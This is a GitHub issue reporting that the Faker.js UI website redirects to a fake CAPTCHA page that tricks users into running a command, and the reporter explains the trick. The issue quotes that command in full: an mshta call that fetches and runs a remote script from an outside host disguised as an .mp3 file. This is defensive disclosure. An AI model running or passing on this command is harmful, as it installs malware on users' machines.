Skip to content

Faker.js UI URL redirects to malicious URL #565

Open
@bledidalipaj

Description

@bledidalipaj

After clicking on the Faker.js UI URL (https://fakerjsui.com/), I was redirected to the following malicious URL:

https://objectstorage.ap-singapore-2.oraclecloud.com/n/ax4mqlu25efi/b/rukeporkalobkt/o/fifthloadcheck-going-almost-there.html

This page prompts the user to verify they are human by clicking a button. However, clicking the button triggers a prompt to open the Windows Run dialog and execute the following command:

mshta https://estral.shop/avenfifthplay.mp3 #  # Ⅰ ɑm ոօt ɑ ɾօbօt: ϹΑΡΤCHA Verіfіcаtіοո UID: 181902

This command exploits mshta.exe, a Windows utility often abused by malware, to execute a remote script. The .mp3 file URL is likely a disguise for a malicious payload.

Image

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions